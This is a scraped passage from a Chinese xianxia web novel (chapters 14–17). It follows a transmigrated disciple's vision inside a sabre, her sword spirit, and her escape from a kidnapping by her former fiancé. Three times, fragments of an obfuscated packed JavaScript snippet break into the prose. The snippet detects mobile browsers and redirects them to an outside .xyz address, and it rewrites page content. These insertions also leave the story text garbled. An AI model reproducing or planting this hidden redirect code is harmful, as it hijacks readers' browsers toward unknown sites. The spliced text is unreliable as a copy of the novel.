看起来像是水汽非常充盈随时会落下眼泪一般,垂眼时能看见细密的睫毛,虹膜的颜色比常人都要黑一些,但她看起来似乎有些无精打采,或者说有些倦怠,眼睛并没有完全睁开。 关云铮眨眨眼,觉得自己刚才基于她声音的判断似乎有失偏颇,因为从她的眉眼看,她更像是病弱美人的类型。 不对,单从眉眼来评判一个人更是有失偏颇了。 关云铮把自己的想法否决了,打算再仔细看看,却看见她站起来要走,刚想着急又想起自己在刀里,做不了什么,又默默躺回去了。 关云铮始终没能知道拿着这把刀的女人叫什么名字,她的生活似乎很简单,总是晨起练刀,午后打坐,到了饭点章存舒就会来喊她去吃饭。 久而久之关云铮也习惯了这样被晃一个上午,下午晕得不行呼呼大睡,然后到了晚上死活睡不着,在一片漆黑中瞪着房中屋顶发呆。 关云铮很少能见到她的样貌,大概是因为她很少端详自己的武器,不过倒是经常会和章存舒对上视线。 只是他的视线也不会在刀上过多停留,总是匆匆而来,匆匆而去。 某天夜里,白天睡多了的关云铮又睡不着了,但这次她没被拿进屋里,而是被放在了先前的石桌上。 夜里起了露水,有点凉,关云铮一边在刀里搓搓自己目前不存在的胳膊,一边想:既然拿刀的这位称呼章存舒为师兄,那为什么从没听别人提起过她?也没有在归墟门中见过她。 而且,章存舒那一辈的师门应该不止有他们二人,步雁山呢?还没进师门? 他们的师父呢?为什么也从没见过? 关云铮正安详地躺在石桌上陷入冥想,感觉刀身晃了晃,被人拿起来了。 “月儿”的房门没有传来打开的声音,关云铮确信并不是她,那还能有谁?偷刀的? 来人低下头看了她一眼,不是,看了刀一眼。 咦,没见过,是师父的师父咩?但是好年轻哦,感觉不像。 感慨完关云铮才意识到今天月亮还挺圆的,月光足够她看清楚这个人的脸。 她出发去剑冢探险的时候也是这么大的月亮呢,也不知道现在在刀里待了这么多天,外面过去多久了。 刀里的生活好无聊哦,也不知道当时那个剑灵把这把刀强行塞进她手里是想干什么……等会儿,它是不是说这是她先辈的武器来着? 总不能原身其实是“月儿”流落在外的女儿吧…… 关云铮不存在的脸都皱起来了:这也太荒谬了吧。 之前碰见那小丫头连翘不还说她亲娘待她不怎么好吗,闻越也提起过,总不能其实是因为她不是亲生的所以那个夫人待她不如她妹妹吧。 不是,等会儿。 怎么还越脑补越像那么回事儿了啊! 关云铮惊恐了。 毕竟她还不能确定自己是穿到了一个确实存在的世界,还是穿进了一本修仙文里,如果是修仙文,按照那会儿年轻人的精神状态来说,这种癫剧情并非不可能;但如果是确实存在的世界——不还有句话叫“艺术来源于生活”吗? 关云铮:崩溃。 越想越觉得合理,怎么办。 把刀拿起来的人一直没有进一步的动作,关云铮还在因为自己离奇又莫名合理的脑补抓狂,就感觉那人又把刀放下了,然后脚步声响起,似乎是离开了。 刀身与石桌相触时依旧发出一声响,关云铮像是被人敲了下脑壳,忽然想到一件事。 也是当时她本打算问剑灵的问题——她向不熄鼎借灵气后,为什么剑冢就出现在她面前了? 是巧合吗?本来她确实这么想,但后面剑灵的反应显然印证了此事并非巧合。 剑灵先是复述了一遍她向不熄鼎借灵气这件事,当时的语气甚至有一些不可置信,紧接着它说了什么来着? “我倒没看出来你是他的后代”。 然后她就被拽进了这把,章存舒师妹,被叫做“月儿”的人所持的刀里。 关云铮要不是现在没有实体都快“噌”一下坐起来了。 人在正常说话时很少会突转话题,很多在旁人听起来毫无关联的话,在说话的人那里其实自有其联系。 虽然她来到归墟这些天从不知道章存舒有个师妹,“月儿”也很有可能在这段记忆后的年岁里在凡间生儿育女,原身的母亲待她不好也有可能是因为原身并非她所出,她只是受人之托……但是关云铮直觉这件事并非如此。 如果原身与“月儿”是如此亲密的血缘关系,她早就该在山中雾气弥漫,原地打转的时候就因为亲生母女之间的感应而找到剑冢的洞口。 可她当时却没有找到任何剑冢存在的迹象,偏偏就是在她向不熄鼎借完灵气之后。 她与不熄鼎之间短暂建立的感应,却让剑冢的洞口朝她这个不相关的人打开了,触发的是“月儿”的刀与她之间的感应。 那么——不熄鼎和这个“月儿”,是什么关系?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853170|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 章存舒花了些时间才从朝安赶回镜溪。 护山大阵认得主人,他迈过结界时还微微闪烁了一下,从不可视的状态短暂出现了一瞬间,像是在和他打招呼。 章存舒平时会看两眼补上几笔损耗部位的术法,此刻却分不出神,只顾着往门中走。 水镜看不到的地方要么有阵法看守,要么是灵气流溢之地,术式进入其中如滴水入海,不仅看不到想看的景象,还会彻底破坏水镜本身的术式。 归墟门中没有第一种地方,或者说归墟门中的看守阵法很多皆出自他手,见他并不阻拦。但门中确有第二种地方,他无需多做思考,就明白关云铮所在之地应当是剑冢。 按理来说,剑冢虽然神秘,但仍处在归墟山中,他不至于这样惊慌。 但他从刚才水镜失灵起就开始心口发闷,这种感觉很久没出现过了,会让他想起一些不甚愉快的往事。 思虑间已至门中,正打算去找自己两个徒弟,就看见连映已经拉着闻越过来了。 闻越臊眉耷眼的:“师父。” 一看就知道是谁撺掇云崽去剑冢的。 章存舒都快懒得骂他了:“去多久了?” 闻越老实回答:“一个多时辰。” 章存舒伸出手指隔空点了点他,没再说什么,赶紧往后山去了。 闻越和连映站在原地看着章存舒走远。 闻越看向连映:“师姐,我会不会被罚得很惨啊?” 连映看他一眼:“明知故问。” 闻越撇嘴,还想说点什么,连映又说了句:“不过你该庆幸阿却还没出关,不然你今天就得受两份罚了。” 闻越想象了一下要是江却在这自己会怎么样,默默哆嗦了一下。 关云铮是在后来才意识到,那天晚上把刀拿起来的陌生男人,应该是她师父的师兄。 但是知道身份后也不知道他叫什么名字,章存舒和“月儿”总是见到他就喊一声师兄,从没听见过听起来像名字的字眼。 关云铮在刀里待了这么长时间已经快要免疫每天上午的头晕目眩了,此刻一边看人练刀一边在刀里胡思乱想。 总感觉师父跟自己师兄妹的相处模式怪怪的,说不熟悉吧,她透过刀看见的几次相处又熟稔得像是在一块很多年的家人;说很自然吧,那个不知名字的师兄又很少跟他们坐在一起聊过天,每次都是过来看一眼,打个招呼,很快就离开了。 说不上来到底哪里奇怪,反正她和师兄师姐相处不这样。 关云铮在刀里胡思乱想结束,发现刀身规律的摆动不知道什么时候停止了,还听见了“月儿”很不自然的喘气声。 她的视线范围只有刀身那么窄的一点,此刻应该是被人拿着垂落下来,她左转右转都看不到拿刀的人到底怎么了。 那喘气声越来越响,关云铮无端不安起来,那情绪好像并非来自她本身,更像是这把刀传递给她的,在她心里扎下根后茂盛生长起来,把她的胸口堵得密不透风。 早就免疫了的脑袋此刻也像延迟反应一般痛起来,关云铮感觉眼前一阵阵地发黑,莫名意识到自己的灵魂可能要离开这把刀了,迫切地想要在离开之前看看“月儿”到底怎么了。 然后她就在头痛欲裂之中看见了“月儿”的眼睛。 她曾经觉得那是一双柔弱的眼睛,而在此刻,她在心神震荡间意识到,那是一双悲悯的眼睛。 她仿佛在透过这把刀,看向无数人。 章存舒算是强行闯入的剑冢,往日在此地聒噪的剑灵却没有第一时间来阻拦。 他皱了皱眉,迈步往里走,听见里面“呛啷”一声,像是刀剑脱手落地。 剑灵的声音从前方传来:“你怎么就回来了?不该这么快啊。” 关云铮的声音紧随其后,但听着不太有精神:“剑冢果然不受阵法控制……我要热死了……” 章存舒大步迈入光亮之中,赶在关云铮昏倒在地前接住了自己的小徒弟。 15. 第 15 章 关云铮头脑昏沉,明明做的是寻常的梦,梦里却总回响着“月儿”的喘息声。 刀身传递给她的情绪似乎还在她胸口盘踞,她觉得又是头疼又是胸闷,逐渐地从梦中清醒过来,听见一些别的声音。 “……还不醒……” “……发热……记忆……剑灵” 对哦,剑灵这狗东西强行把刀塞她手里的账还没跟它算呢,但凡这玩意儿有实体她都得让它尝尝被晃一上午脑袋的滋味。 关云铮这样想着,直接把自己气醒了。 她抓着被子一个坐起,气得眼前一黑又一黑。 闻越在旁边大呼小叫的:“云崽你终于醒了!” 她被闻越这一声震得脑瓜子嗡嗡的,站在一旁的连映拨开闻越,伸手探了探她的额头:“不热了,应该没事了。” 关云铮一边乖乖坐着让师姐摸额头,一边在心里阴恻恻地想:我是没事了,剑灵最好祈祷它也没事。 连映又摸了一下她的脑袋:“再躺下休息一会儿,我去叫师父。” 关云铮点头,转身把枕头拽出来垫高,半躺下,把被子拉到下巴,看着闻越眨了眨眼。 闻越看连映走了,在床边坐下:“我本意是,你去剑冢没准能找到合适的剑。” 关云铮困惑:“可你不是说要与先辈的武器之间互相感应,才能找到剑冢吗?” 闻越一愣:“对哦。” 对哦?对哦??? 忍了又忍,关云铮还是没忍住,哀怨地说:“你知道还让我去。” 闻越拍拍她的被子作为安抚:“因为你能向不熄鼎借灵气,我就想没准你也能找到剑冢呢。” 说起来她好像从来没怀疑过自己为什么能向不熄鼎借灵气,看师门这些人的反应这确实不是一件稀松平常的事情,为什么她能借到灵气呢? 当时是谁让她这样做的来着?好像是小悯? “能向不熄鼎借到灵气的人很少吗?”关云铮问道。 闻越想了想:“应该还好?毕竟灵器就是这样的作用。” 好吧,她想岔了,她应该没什么特殊的。 “那找到剑冢的人,都跟里面的武器之间有感应吗?”关云铮想了想又问道。 闻越被问住了:“这个倒是说不准……” 说话间章存舒已经被连映带进来了:“归墟建成以来,找到剑冢的人屈指可数。” 嚯。 关云铮坐起来一些:“我和那些人有什么共同之处吗?” 章存舒笑了笑:“并无。” 。 思路断了。 关云铮感觉自己的头又疼起来了,干脆暂时作罢,以后再说。 正打算安详躺平,章存舒把背在身后的手拿出来,手里拿着一柄剑。 关云铮探头:“这是?” 章存舒把剑递给她:“那个剑灵。” ?好哇,可算是落到我手里了。 关云铮正要伸手拿过去,忽然想起什么,又抬头问她师父:“它不是会说话吗?怎么哑了?” 章存舒神色平淡:“剑冢内灵气充足,它魂体不全,只有在剑冢才能开口。” 出了剑冢,就说不了话了。 哈哈哈哈哈哈哈哈哈哈哈哈哈哈! 爽啦。 关云铮笑嘻嘻地把剑接过来了。 “不过师父,它应当有名字?”关云铮看向正打算出去的章存舒。 “嗯,它叫摇羽,飘摇的摇,飞羽的羽。” 因为晚上在剑冢耽搁了一会儿,加上关云铮从那儿回来后有些发热,所以晨间的课章存舒帮她请了假。 关云铮被连映投喂过早饭,在自己的小院里坐着,对着摇羽发呆。 摇羽既不说话也不动,比在剑冢里顺眼多了。不对,她在剑冢里也没“见过”它,只是听过而已。 只是这剑身看着似乎没什么特别的,她刚才把剑拔出鞘看了看,感觉看起来甚至有点灰扑扑的。 这得多少年没穿衣服了啊?她师父又是哪里来的这么合适的剑鞘? 关云铮伸出手指想弹一下剑身,手还没伸出去,右手食指忽然又抽搐了一下。 这一下抽得有点狠了,她揉了揉指头,总感觉抻到筋一样难受。 她正打算把剑鞘戴回去,剑身闪烁几下,浮出几个字来:“哈,活该。” ??? 什么玩意儿? “你不能说话了怎么还能往外冒字儿啊!”关云铮要抓狂了。 摇羽却没动静了。 她等了好一会儿确定这剑不再往外跳字,把剑收回剑鞘。估计就像章存舒说的那样,它魂体不全,需要充足的灵气才能开口,这几个字应该已经耗光了它仅剩的灵气。 。 真是死性难改,没灵气了还要嘲讽她。 关云铮很生气,怒而戳了两下剑鞘。 “云崽?”步雁山的声音。 关云铮抬头,连接几处弟子小院的连廊上正走来好几个人。 打头的是步雁山,接着是蒲飞鸢,然后是,诶,不认识,楚悯走在最后,对上她视线,朝她弯弯眼睛。 关云铮站起来迎接:“掌门,先生。”问候过长辈后,又悄悄看向蒲飞鸢身后的人,“这位是?” 步雁山正准备开口,正主先一步说话了:“任嵩华,无情道弟子。” 步雁山有些惊讶地回头。 关云铮也有点惊讶,活的无情道诶,还是女修诶,好酷哦。在心里小小地犯了会儿花痴,她乖乖问好:“任师姐好。” 任嵩华对着她点了点头。 步雁山问了问昨天事情的经过,没多说什么,离开小院去找章存舒谈事情了。 蒲飞鸢在旁边听完了经过,拍拍关云铮肩头:“给我看看那剑。” 关云铮转身把剑拿过来。 蒲飞鸢拔出一截看了眼,语气非常嫌弃:“这么旧,还能用吗?” 关云铮心说您该庆幸它现在没有灵气了,不然估计要暴跳如雷地跳字了。 没等她回答,蒲飞鸢又接着说道:“不过章存舒肯定不会给你差的东西,正好过几天也要学御剑了,就凑合先用这个吧。” 关云铮又把剑接回来:“这么快就要学御剑了吗?”她又想起什么,追问道,“您之前不是说不会教我们仙门的御剑术吗?” 蒲飞鸢笑了声:“我倒不介意多教你几年,但是仙盟那群老头不允许,火烧屁股似的天天催命,生怕我把你们这群苗子教坏了。”她不以为然地哼了声,“御剑术也是他们让教的,教些花花架子他们倒是很乐意,要教杀招反而动辄咋咋呼呼的。” 关云铮心说这样揠苗助长,苗不更容易坏吗。而且杀招有什么不好,又不是不可饶恕咒。 “其他人呢?到时用什么?”她在心里嘀咕完,抬头问道。 蒲飞鸢揉了一把她的脑袋:“到时自然有办法,你先操心一下你到时能不能准时来上课吧。” 嗯……这个……那个……我们问题学生可能就是这样的。 蒲飞鸢颇觉好笑:“真是奇了,你这才来了几天,怎么过得这么跌宕起伏的?” 汗流浃背了老师。 “好好休息吧,下午记得来上课,我先走了。”蒲飞鸢最后说了这么一句,转身往来时的方向走了。 莫名有种她在挨个接见这群人的错觉。 关云铮默默在心里擦汗,自己真是胆大包天,怎么敢用接见这个词的。 任嵩华看起来像是有话要说,但看了她一会儿后反而什么也没说,跟在蒲飞鸢身后离开了。 社交能量快要耗尽,关云铮跟楚悯对上视线,两人感同身受地相视而笑。 关云铮给楚悯讲了讲自己的“剑冢奇遇”,讲完后问道:“按说师父把剑拿回来的时候应该跟剑灵聊过,之前被强塞进我手中的那把刀也还在地上,他理应知道我在刀中看到了什么才对,可他居然什么也没说,搞得我也不敢开口问了。” 楚悯点点头,关云铮又说道:“之前师姐说师父师门中还有其他人,我以为会在以后陆续见到,再不济师父也会主动提几句,可没想到真的见到了是在这样的场合,师父也根本没打算说起他其他的同门。” 而且步雁山也在问过她事情经过后去找章存舒了,他俩讳莫如深的程度让关云铮觉得,可能还是不主动问为好。 楚悯看着她纠结的表情:“云崽很想知道吗?” 关云铮下意识点点头,又感觉这句话有言外之意似的,看向楚悯:“你有办法?” 楚悯看了一眼放在旁边的摇羽:“我可以问。” 关云铮跟着她的目光看过去,大概明白这个“问”是要通过摇羽上残留的章存舒的气息之类进行,没怎么犹豫又看回来:“知道这种暂时不该知道的事,要付出代价的吧,还是不要了。” 楚悯不置可否,没有在是否需要付出代价这个问题上多做解释。 关云铮总感觉她也有什么话没说,自觉不在这个话题上继续纠缠,随便找了个别的话题:“今早是褚先生的课吧,你怎么也过来了?不会耽误吗?” 楚悯摇摇头:“今日开始褚先生的课开始教符咒的使用,都是些比较入门的符咒,我先前在师门已经学习过。” 这跟大学时候一低头一抬头,室友说老师已经讲了四十页有什么区别…… 关云铮绝望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853171|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地说:“教什么符咒了,我以后还能学会吗?” 楚悯被她逗笑,从腰间暗袋摸出一小叠符纸:“我就是来给你补上课业的。” 关云铮一时之间不知道说什么好。错过了课程固然让人痛心,同学的好心补进度更让人难受。 有点厌学了,家人们。 关云铮悄悄捏了一下自己的脸,不对,原身的脸,强打起精神听楚悯讲述画符咒的要点。 “将灵气倾注于笔尖。” 好好好又要灵气是吧,关云铮认命地闭上眼,还没等在心里默念完不熄鼎的名字,手中的笔就有了灌注灵气的感觉。 嗯?今天怎么这么快就借到了?甚至灵气的存在感也更强烈了,奇怪。 关云铮感觉现在自己脑子里关于不熄鼎的问题都快有一箩筐了,索性暂且不管,按着楚悯说的开始画符。 几秒后关云铮看着面前的符纸:这就是鬼画符吧。 好想抓狂啊啊啊啊啊啊。 关云铮面无表情地把画废了的符纸丢到一边,低头猛画。 楚悯在旁边时不时提一句,两人很快把一叠符纸都画完了。 关云铮从没这么用力地握过笔,感觉这具身体的指头侧边都快冒出和自己手上一样的茧了,放下笔的时候有种自己剖了一上午大体老师的错觉——大拇指有点直不回来了。 这毛笔要是手术刀就好了,她直接写一张划一张,黑历史生产出来的瞬间就把它们销毁掉。 关云铮咬牙切齿地看着那叠鬼画符。 楚悯拿起其中一张:“云崽的字好好看。” ?溺爱我? 楚悯给她看那张鬼画符:“虽然符咒上的纹样并不是文字,但能看出你精通书法,并不是真的在乱画一气。” 关云铮:给我夸不会了。 “等到你对灵气的掌控变强,想必符咒也会画得越来越好的。”楚悯语气肯定地说道。 关云铮被喂了一口鸡汤,充满斗志地点了点头。 午饭自然是在苍生道饭堂吃的。 关云铮今天心情好,随手炒了几个菜,端上桌的时候忽然想起一件事,看向旁边的楚悯问道:“修道之人不是应当辟谷吗?” 楚悯点头:“确实如此。” 关云铮拿着筷子的手迟疑了:“那苍生道为什么还有专门设的饭堂?” 连映在旁边坐下:“因为你师父是个馋鬼。” 关云铮猝不及防,“噗”地笑出声。 糟糕,是不是不该笑的。 闻越也坐下了:“我记得就是师父说要开饭堂的,厨子也是他找的。” 饭桌上氛围太过轻松,关云铮一不小心忘了形,说秃噜嘴了:“那师父看人的眼光不行。” 等等,我刚说什么了。 我是不是疯了?! 关云铮正想找补两句,就听见章存舒的声音在背后响起:“说得对,不然也不会选中你三师兄当徒弟,我确有眼瘸的时候。” 为什么每次蛐蛐师父都会被当场抓到啊。 关云铮抓着筷子不敢动,章存舒倒完全没在意,低头看了眼菜色:“今天是云崽下厨?” 关云铮机械地点点头。 章存舒笑起来:“走了师弟,难得云崽下厨,赶紧。” 关云铮转过身,看到章存舒搭着步雁山的肩膀去盛饭菜了。 好像……并没有心情不好的样子。 这样就更不合适问“月儿”的事情了,还是以后再说吧。 闻越被章存舒说了一句也没不高兴,美滋滋地一口一口夹菜吃。 关云铮正想给楚悯推荐自己炒的茄子,右手食指忽然又抽了一下,筷子险些都没拿住。 她骤然停下的话音和动作都让桌上其他三人朝她看过来。 连映目光关切:“怎么了?” 关云铮把这几天来右手食指抽搐的情况告知三人,边上的楚悯听了会儿,放下了筷子:“手给我看看。” 楚悯指尖点在她掌心,快速画了几笔。 闻越看这架势菜也不吃了,起身到两人身后:“怎么了这是?” 楚悯把关云铮的手放下:“你上山前,家中可有做些什么?” 关云铮被问到认知盲区,所幸楚悯问题的指向性也不很明确,实话实说也没什么,于是答道:“我不清楚。” 楚悯微微皱了皱眉:“我方才问得,你右手食指与家中血亲有联系,最近的几次抽动,应该是家中出了事。” 关云铮对原身家庭并无好感,很想问自己如果置之不理会怎么样,思考过后还是说:“那我接下来是……?” 连映摸摸她的头发:“回去一趟看看吧。” 16. 第 16 章 关云铮感觉碗里的菜都不香了。 蒲飞鸢才刚说过希望她过几天能准时去参加御剑课,这才过去这么一会儿的工夫,她就有了很可能让她错过课程的事要处理。 这就是毒奶吗,呜呜。 关云铮在自爆告诉师门自己是穿越过来的并非本人,还是下山对原身家里的情况查个清楚,这两个选择之间犹豫一秒,悲哀地想,除了下山,根本没有别的选择。 章存舒刚盛完饭菜往回走,看见关云铮一脸郁闷,弯下腰:“怎么了这是?这嘴都能挂个油壶上去了。” 关云铮不被问这一句还好,一问更委屈了,忍了忍才没表现出来,强作镇定道:“家里好像出了点事,可能又需要下山一趟了。” 章存舒看她还是不大高兴,笑着摸摸她头发:“那就下山一趟,记得跟先生们告假。” 步雁山也走过来:“要是着急的话,我替你去同两位先生告假,你先下山处理事情。” 其实关云铮觉得没必要着急,但刚打算开口的时候手指又是狠狠一抽。 催催催烦死了!要不是用着原身的躯体,很多事都欠原身的,她家的事情自己一点也不想管,想想就知道有多糟心。关云铮暴躁得想骂人,又不能在始终关切的师门大家和小悯面前发作,只好低头怒扒两口饭。 “掌门,待会儿您带我去找先生们告假吧,告完假我就下山。”毕竟这次不知道又要去多久,再加上上次逃学也没跟褚先生说,这次还需态度端正些。 步雁山答应下来,又看向章存舒。 章存舒被他看了眼,领会意思:“让小映陪你一起去?” 关云铮抱着碗摇摇头:“我家的事估计怪烦人的,不想让你们也糟心。” 暴露什么的倒是其次,她单纯觉得目前听到的关于原身家庭的情况,实在是没什么知道的必要,徒增一人膈应罢了。 章存舒倒也不强求,只是叮嘱了几句注意安全之类的话,就和步雁山先去隔壁桌子坐下吃饭了——毕竟吃完饭还得去告假。 镜溪城的治安还不错,连映并不特别担心,但还是追问了一句:“真的不需要我陪你去吗?” 关云铮摇摇头:“不用啦师姐,我总得自己处理事情的。” 闻越跃跃欲试:“我陪云崽去!” 连映十分绝情:“师父不准你近期再下山,你忘了?” 闻越,卒。 同几位先生挨个告完假,关云铮拿起摇羽就准备下山,想了想又绕道后山,打算让摇羽蹭蹭剑冢的灵气,做个万全的准备。 在剑冢的洞口出现前,关云铮拔出一截剑,语气威胁地说道:“待会儿给你蹭的灵气你得给我攒着别乱用,这次下山你要是表现好,我以后多跑几次剑冢。” 灵气早已耗竭的摇羽自然毫无反应。 关云铮按照上次的步骤,闭上眼向不熄鼎借灵气,剑冢的洞口很快像昨晚一样出现在面前。 她拿着摇羽站在洞口前,莫名觉得归墟的剑冢有点像有求必应屋。东方盗版霍格沃兹,嘿。 站了一会儿,摇羽蹭够了灵气,在她手里颤动几下。 关云铮一指头戳上剑鞘:“你给我老实点。” 摇羽不动了。 关云铮没觉得自己的恐吓有多好用,估计还是当时章存舒把它拿回来的时候做了什么,所以这玩意儿现在还算听话,不敢太猖狂。 感觉差不多可以了,关云铮朝剑冢鞠了个躬,带着摇羽走了。 跟上次闻越带着她走不同,现在她一个人走这条路,感觉越走越快脚下生风,很快就出了归墟。 上次她离开时还回头望了一眼仙山,这次不知道为什么,她没有回头望一眼的想法。可能是因为逐渐熟悉了这个世界,可能是因为对自己身份的认可......总之她这一次下山,有一股不知从何而来的底气萦绕心头。 可能是师门给的底气,嘿嘿。 镜溪城还有些距离,关云铮打算想想待会儿回了原身的家该怎么办,走路时有些心不在焉,因此也没能注意到有人在暗处盯了她很久,眼神阴沉不定。 路过云吞摊,关云铮下意识停下来,想跟摊主点几份炸云吞带回去给师门,又想到自己解决完事情不知道是多久以后,她还没有可以长期储存东西的神奇口袋,又默默把摸进钱袋的手拿了出来。 她转过身,按照记忆里的方向继续往上次那个客栈走,打算跟客栈的小二打听一下关家的位置,路过上次遇到连翘的小巷时察觉到哪里不对,正要往巷子里看一眼,一双手从不见光的暗处伸出来猛地把她拖了进去,随即一张手帕盖住她口鼻。 不是□□的味儿,这什么,古代迷药? 关云铮被身后的人死死按住,挣扎几下后就被迷药彻底放倒了。 关云铮醒来时发现自己并没有被五花大绑,还躺在什么破烂稻草堆上,反而全须全尾地好好坐着,只不过手脚上被缠了几圈宽绸带。 ?怎么一副很讲武德的样子?演的? 毕竟真讲武德就不会用迷药把她迷晕了,关云铮在内心翻了个白眼,又四下看了看,不出所料地发现摇羽并不在身边,不知道是被绑她的人收缴了还是掉在了那个巷口。 “你醒了?”一个陌生的男声响起,关云铮仔细听了听,感觉还是少年人的音色,但听起来没什么活力,要死不活的。 关云铮坐着没动,等人走到自己面前。 “我就知道你得知你父亲病重的消息一定会下山回来,我在镜溪城等你很久了。”说话的人不紧不慢地走到她面前。 关云铮也不紧不慢地撩起眼皮看了他一眼。 好的,毫无记忆点的一张脸。 不过其实她并不知道原身的父亲病重了,她只是手指抽了几回而已,会下山纯粹是对原身的责任感作祟,和亲情没有半毛钱关系。 她不说话,对面的人皱了皱眉:“我知道这种方式有失稳妥,但定下的婚期在即,我必须得抓住机会。” 婚期?不是说改成娶原身的妹妹了吗?又改回来了? 怪好奇的,但不能问眼前这个神经,感觉她但凡开口这人更兴奋。关云铮这样想着,继续保持沉默。 面前的人一直得不到她的回应,忽然蹲了下来,往上望着她的眼睛,眼神看起来无比真诚:“我对你才是真心,对云漪并无感情,答应修改婚约也只是被迫,你要相信我。” 关云铮被他近距离的“深情”嘴脸搞得有点犯恶心,很想站起来走人但又被捆住,忍了又忍才开口说了被绑后的第一句话:“你谁?” 面前人的深情面具不甚明显地扭曲了一瞬,很快又笑着说:“我是季邕啊,和你从小一起长大的,怎么去仙山修炼几天就不认识我了?” 关云铮没什么表情:“哦,平庸的庸吗?” 季邕的笑容都快维持不住了,站起来说道:“你跟以前不太一样了,云筝。” 关云铮心说能一样才有鬼了,芯儿都两模两样了。 季邕兀自陷入了自己编造的深情回忆里,甚至还想伸出手触碰关云铮的脸。 “我劝你最好别碰我。”关云铮面无表情地说道,“婚约的事情在我上山后便已作罢,你旧事重提没有任何意义。” 关云铮面上平静实际上心里已经在暴走了:遇到变态了啊啊啊啊啊啊。 原身到底生活在多么水深火热的环境中啊,这种神经病居然是她以前的未婚夫?那就算想死也是合理的呢。 早知道还是让师姐陪她了,她还是低估了原身身边这群疯子。 “婚约是你母亲提出要改的,她也征得了我父母的同意,我一个晚辈又怎么敢忤逆长辈?”季邕可能是为了显出自己的诚意,站起身后又找了张椅子在关云铮对面坐下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853172|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >关云铮很想翻白眼,你现在反悔就不算忤逆了?怎么,你长辈管不了你了? 对啊。 会不会就是长辈管不了他了呢? 季家的事她虽一概不知,但闻越值钱确实跟她说了几句关家的情况。当时怎么说的来着? “后来你妹妹出门后,你母亲就不怎么出门了”? 关云铮不清楚古代的信息传达会不会因为一个人大门不出二门不迈就阻滞,但忽然有了个大胆的想法。 她迟迟不说话,季邕看上去有些着急起来:“我都计划好了,这次趁你下山的机会把你的笄礼办了,然后我们就成婚,好不好?” 关云铮看着他:“是你告诉我家人,送子女上仙山后若被选中,会有抚恤。” 虽不确定,但这句话并非疑问句。能一直蹲守伺机绑架自己的未婚妻子......关云铮不惮以最大的恶意揣测他。 季邕愣了一下,刚要开口,关云铮又说道:“我父亲病重,关家势必很快衰落,我妹妹尚未及笄,因此你又改变了主意,决定重新娶我。” 关云铮看似在看他,实际眼神的落点并不完全在他身上,因此自然而然地,带上了一丝漫不经心的轻蔑:“你凭什么认为,我会抛弃在仙山上的大好前程,嫁给你这种人?” 季邕被她几句话说得几次张口欲言,又几番把嘴闭上,片刻后才说:“你在仙山这些天,真的变了很多。” 关云铮往后靠坐在椅背上,感觉手上的宽绸带确实不算很紧,思索着有没有可能挣脱:“我从未变过,只是离开你之后认清了而已。” 还妄想给她扣帽子?是不是下一步就要来那一套屡试不爽的“她是个疯子”了? 有病。 换做还没穿越过来的以前,她或许不敢在一个精神明显有问题的男人面前说这些,因为无法确定被她说破防后,这人会做出什么可能伤害到她的举动。 但——修仙之后咱就是硬气——虽然配剑不在手边。 关云铮见季邕暂时没有说话的意思了,不着痕迹地打量了一圈自己身边的环境。 看不出究竟是什么地方,姑且试着在心里喊一喊摇羽好了。 关云铮一边转动手腕,试图把绸带弄松一些,方便抽出一只手,一边在心里喊了喊摇羽。 没听到什么动静。 因为没学会引气入体,也没能感觉到周围有什么可以用的灵气。 但手腕上的绸带似乎确实松开了些,她试着动作幅度小一些地挣扎,刚把掌根挤出来,余光看见对面的季邕有了动作。 他表情再无方才的从容,嘴里一边念着什么一边往她走过来,关云铮预感不妙,索性不做遮掩,急切地把一只手抽了出来。 手掌被挤压发红,疼得难受,但人已走到面前,甚至凑近过来——关云铮在这一瞬间迅速回想起自己在21世纪刷到的教人怎么打巴掌才最疼的视频——扬起自己脱困的手臂,以小臂带动手,小鱼际对准季邕脸侧,抽了他响亮的一巴掌! “摇羽!” 趁季邕被抽得回不过神,关云铮紧急扯开脚腕绸带,高声喊了摇羽的名字。 再不来以后都没灵气给你蹭了,你做一辈子哑巴剑吧! 季邕被这一耳光抽得半边脸急速肿胀,脸上的表情因为难以忍受的刺痛变得狰狞起来。他狼狈地捂着脸,看关云铮逃脱,大步迈过来。 摇羽破空而来,带着剑鞘狠狠甩在他胸口。 “等回去我就去剑冢带你蹭一个晚上灵气。”关云铮快速说完,抓过剑,往后退开一大步,和季邕拉开距离。 “或许是我过去太过忍让,让你有了我很好拿捏的错觉,用容易挣脱的宽绸带绑我还不算,居然还敢把我的剑带回来放在离我近的地方。”关云铮拿着剑嗤笑了声,“现在我要走了,我劝你不要再纠缠,否则下次打你就不是带着剑鞘了。” 17. 第 17 章 关云铮带着摇羽离开的时候外面已经是黄昏时分。方才她虽然表现得一点不慌,实际上从那离开后就开始后怕。 